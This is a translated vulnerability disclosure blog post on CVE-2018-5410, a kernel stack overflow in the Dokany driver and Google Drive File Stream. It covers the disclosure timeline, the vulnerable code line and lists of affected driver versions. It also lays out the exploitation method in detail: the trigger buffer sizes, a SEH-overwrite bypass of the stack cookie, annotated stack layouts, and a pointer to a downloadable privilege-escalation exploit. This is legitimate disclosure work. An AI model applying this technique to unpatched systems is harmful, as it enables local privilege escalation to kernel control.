Dokany/Google Drive File Stream 内核栈缓冲区溢出漏洞
去年11月,我向CERT/CC报告了一个内核漏洞,寻求他们协助协调披露,因为该漏洞影响了包括Google Drive File Stream (GDFS)在内的数十家供应商。
该漏洞是Dokany内核模式文件系统驱动程序中的一个栈缓冲区溢出,已被分配CVE编号CVE-2018-5410。通过Dokany,您可以创建自己的虚拟文件系统而无需编写设备驱动程序。其代码是开源的,并被此处列出的数十个项目使用。我们测试了少量产品,除GDFS外,它们都附带Dokany的编译包;GDFS的部分代码已被谷歌修改并签名。
触发漏洞
连接到设备句柄“dokan_1”并向IOCTL 0x00222010发送超过776字节的输入缓冲区,就足以破坏栈cookie并导致系统蓝屏(BSOD)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
kd> !analyze -v
***************************************************************************
* *
* Bugcheck Analysis *
* *
***************************************************************************
DRIVER_OVERRAN_STACK_BUFFER (f7)
驱动程序已溢出栈基缓冲区。此溢出可能允许恶意用户获得该机器的控制权。
描述
驱动程序以可能覆盖函数返回地址并在函数返回时跳转到任意地址的方式,溢出了一个栈基缓冲区(或局部变量)。这是典型的“缓冲区溢出”黑客攻击,系统已被关闭以防止恶意用户获得其完全控制权。
执行kb命令获取栈回溯——在缓冲区溢出处理程序和bugcheck调用之前,栈上的最后一个例程就是溢出了其局部变量的那个。
参数:
Arg1: c0693bbe, 来自栈的实际安全校验cookie
Arg2: 1c10640d, 预期的安全校验cookie
Arg3: e3ef9bf2, 预期安全校验cookie的补码
Arg4: 00000000, 零
调试详情:
------------------
DEFAULT_BUCKET_ID: GS_FALSE_POSITIVE_MISSING_GSFRAME
SECURITY_COOKIE: 预期 1c10640d 实际找到 c0693bbe
.
.
.
|
检查源代码以定位漏洞,发现位于notification.c中,其中RtlCopyMemory函数的szMountPoint->Length参数未经验证:
RtlCopyMemory(&dokanControl.MountPoint[12], szMountPoint->Buffer, szMountPoint->Length);
该漏洞代码是从2016年9月20日发布的主要版本更新1.0.0.5000引入的。
时间线
以下是时间线,我们可以看到Dokany的维护者修复此漏洞的效率非常高。
- 2018年11月30日 – 通过CERT/CC在线表格提交
- 2018年12月03日 – 收到提交确认
- 2018年12月08日 – Dokan代码更新提交 [链接]
- 2018年12月18日 – Dokan变更日志 [1.2.1.1000] [链接]
- 2018年12月20日 – 编译版本发布 [链接]
- 2018年12月20日 – CERT/CC发布漏洞说明 VU#741315 [链接]
那么谷歌怎么样了?
嗯,谷歌似乎对此漏洞保持沉默,并在没有任何公开说明的情况下悄悄修复了它。我在GDFS发布说明中找到的唯一网址是这里,最后一次更新是2018年10月17日的版本28.1。仅仅是出于好奇,我在12月28日下载了GDFS,结果发现该漏洞已经被修补。修补后的版本是:
- 软件: GoogleDriveFSSetup.exe
- 版本: 29.1.34.1821
- 签名: 2018年12月17日
- 驱动: googledrivefs2622.sys
- 版本: 2.622.2225.0
- 签名: 2018年12月14日
我测试的最后一个易受攻击的版本是:
- 软件: GoogleDriveFSSetup.exe
- 版本: 28.1.48.2039
- 签名: 2018年11月13日
- 驱动: googledrivefs2544.sys
- 版本: 2.544.1532.0
- 签名: 2018年9月27日
CERT/CC的漏洞说明仍然标记GDFS为受影响状态。
GDFS驱动程序的文件名、版本和句柄在每次更新中都会更改。以下是一些先前易受攻击版本的列表。
| 驱动程序文件名 |
驱动程序版本 |
设备句柄 |
| googledrivefs2285.sys |
2.285.2219.0 |
googledrivefs_2285 |
| googledrivefs2454.sys |
2.454.2037.0 |
googledrivefs_2454 |
| googledrivefs2534.sys |
2.534.1534.0 |
googledrivefs_2534 |
| googledrivefs2544.sys |
2.544.1532.0 |
googledrivefs_2544 |
漏洞利用
由于该漏洞是使用栈Cookie保护 (/GS) 编译的栈缓冲区溢出,该保护在函数返回前被验证,因此无法使用返回地址控制执行流程。为了绕过cookie验证,我们需要覆盖栈中的一个异常处理程序,然后在内核中触发异常,从而调用我们覆盖的异常处理程序。然而,这种技术仅适用于32位系统,因为在为64位编译代码时,异常处理程序不再存储在栈中,而是从“基于帧”变为“基于表”。对于64位系统,异常处理程序存储在PE镜像中,其中有一个异常目录包含可变数量的RUNTIME_FUNCTION结构。OSRline上的一篇文章解释得很好。下面显示了64位编译驱动中的异常目录。
为了在32位操作系统上利用,在异常处理程序被覆盖为我们指向shellcode的地址后,我们需要触发一个异常。通常,读取超出我们输入缓冲区的范围会引发异常,因为在使用CreateFileMapping()和MapViewOfFile()等API设置缓冲区后,该区域是未分配的内存。不幸的是,这不可能实现,因为使用的IOCTL 0x00222010采用了“缓冲I/O”传输方法,数据被分配到系统缓冲区中,因此当我们读取输入数据时,是从系统缓冲区读取,所以在我们的缓冲区之后没有未分配的内存。
对于Dokany驱动程序,仍然存在一种利用方式,因为在溢出之后、cookie验证之前,它会调用另一个子程序,该子程序最终会调用IoGetRequestorSessionId() API。它从栈中读取的参数之一是IRP地址,而这个地址恰好在我们控制之下。我们需要做的就是确保我们的IRP地址指向一个未分配的内存区域。
至于GDFS,谷歌对其代码进行了一些更改,因此没有调用IoGetRequestorSessionId() API,我也没有找到其他产生异常的方法,最终只能导致BSOD。最后要提到的是,易受攻击的子程序没有被包装在__try/__except块中,但它的父子程序是,并且那个异常处理程序在栈的更下方被覆盖。为了覆盖异常处理程序,最小输入缓冲区大小需要896字节。
1
2
3
4
5
6
7
8
9
10
|
2 字节 – 由 memcpy 使用的大小
2 字节 – 用于检查输入缓冲区的大小
772 字节 – 实际数据缓冲区
4 字节 – Cookie
4 字节 – EBP
4 字节 – RET
4 字节 – 其他数据
4 字节 – IRP
96 字节 – 其他数据
4 字节 – 异常处理程序
|
我们溢出前后的栈布局:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
a1caf9f4 00000000
a1caf9f8 fcef3710 <-- cookie
a1caf9fc a1cafa1c
a1cafa00 902a2b80 dokan1+0x5b80 <-- 返回地址
a1cafa04 861f98b0
a1cafa08 871ef510 <-- IRP
a1cafa0c 861f9968
a1cafa10 871ef580
a1cafa14 00000010
a1cafa18 c0000002
a1cafa1c a1cafa78
a1cafa20 902a2668 dokan1+0x5668
a1cafa24 861f98b0
a1cafa28 871ef510
a1cafa2c fcef3494
a1cafa30 86cd4738
a1cafa34 861f98b0
a1cafa38 00000000
a1cafa3c 00000000
a1cafa40 00000000
a1cafa44 00000000
a1cafa48 00000000
a1cafa4c 871ef580
a1cafa50 861f9968
a1cafa54 00222010
a1cafa58 c0000002
a1cafa5c 861f9968
a1cafa60 861f98b0
a1cafa64 a1cafa7c
a1cafa68 a1cafacc
a1cafa6c 902b2610 dokan1+0x15610 <-- 异常处理程序
kd> dps a1caf9f4
a1caf9f4 41414141
a1caf9f8 42424242 <-- cookie
a1caf9fc 41414141
a1cafa00 43434343 <-- 返回地址
a1cafa04 41414141
a1cafa08 44444444 <-- IRP
a1cafa0c 41414141
a1cafa10 41414141
a1cafa14 41414141
a1cafa18 41414141
a1cafa1c 41414141
a1cafa20 41414141
a1cafa24 41414141
a1cafa28 41414141
a1cafa2c 41414141
a1cafa30 41414141
a1cafa34 41414141
a1cafa38 41414141
a1cafa3c 41414141
a1cafa40 41414141
a1cafa44 41414141
a1cafa48 41414141
a1cafa4c 41414141
a1cafa50 41414141
a1cafa54 41414141
a1cafa58 41414141
a1cafa5c 41414141
a1cafa60 41414141
a1cafa64 41414141
a1cafa68 41414141
a1cafa6c 000c0000 <-- 现在指向shellcode的异常处理程序
|
为了恢复,我们返回到父子程序。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
a1cafa70 00000000
a1cafa74 00000000
a1cafa78 a1cafa94
a1cafa7c 902a3d4a dokan1+0x6d4a
a1cafa80 861f98b0
a1cafa84 871ef510
a1cafa88 0000000e
a1cafa8c d346f492
a1cafa90 871ef580 <-- ebp之前,shellcode执行后在此处恢复
a1cafa94 a1cafadc
a1cafa98 902a3a8f dokan1+0x6a8f
a1cafa9c 861f98b0
a1cafaa0 871ef510
a1cafaa4 fcef3430
a1cafaa8 86cd4738
a1cafaac 861f98b0
a1cafab0 00000000
a1cafab4 871ef510
a1cafab8 00000001
a1cafabc c0000001
a1cafac0 0101af00
a1cafac4 a1cafaa4
a1cafac8 871ef520
a1cafacc a1cafbc0
a1cafad0 902b2610 dokan1+0x15610
a1cafad4 cd0e6854
a1cafad8 00000001
a1cafadc a1cafaf4
a1cafae0 82a8c129 nt!IofCallDriver+0x63
a1cafae4 861f98b0
a1cafae8 871ef510
a1cafaec 871ef510
a1cafaf0 861f98b0
|
漏洞利用代码可以从此处下载 zip,以及来自Github的易受攻击包的直链 exe。该zip文件仅包含针对Windows 7 32位操作系统的漏洞利用代码,以及用于在早期GDFS 32/64位版本上触发BSOD的代码。
请注意,该漏洞利用并不完美,因为一旦产生一个提升的shell,父进程需要大约7分钟才能返回到提示符。很可能是shellcode的恢复部分需要做一些工作。另外,出于某些奇怪的原因,漏洞利用仅在附加调试器时有效,我无法找出原因。我观察到的一个现象是shellcode缓冲区变得未分配,所以可能是一些时序问题。如果您有任何想法,请留言评论。
@ParvezGHH